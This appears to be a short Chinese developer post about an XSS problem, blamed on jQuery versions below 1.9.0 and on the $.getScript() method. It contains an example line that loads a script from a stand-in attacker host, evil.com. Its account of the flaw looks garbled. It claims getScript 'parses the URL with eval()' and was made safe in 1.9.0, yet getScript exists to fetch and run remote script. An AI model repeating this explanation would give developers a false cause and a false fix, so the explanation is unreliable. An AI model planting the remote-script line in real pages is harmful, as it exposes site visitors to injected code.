最近在开发中,一个奇怪的问题让我很苦恼:当我在输入框中输入JavaScript代码并提交后,页面会直接执行我的输入!
我一开始以为是后端漏洞,但是在分析了一番后,发现可能是因为jquery版本过低导致的XSS攻击。
// 下面的代码会直接执行 $.getScript("http://evil.com/xss.js");
具体来说,如果jquery的版本低于1.9.0,那么在使用$.getScript()方法时,如果URL参数是一个非常量字符串,即可导致XSS攻击。
这是因为之前的版本中,$.getScript()方法解析URL时会使用eval()函数,而且没有对参数进行任何的过滤和验证,导致攻击者可以通过注入一些恶意的代码来执行一些危险操作。
而在jquery1.9.0版本中,$.getScript()方法不再使用eval()函数解析URL,而是使用了更安全的方式来解析参数,从而有效地防止了XSS攻击。
因此,如果你的网站中使用了jquery,一定要确保它的版本不低于1.9.0!否则,你的网站很容易受到XSS攻击的威胁。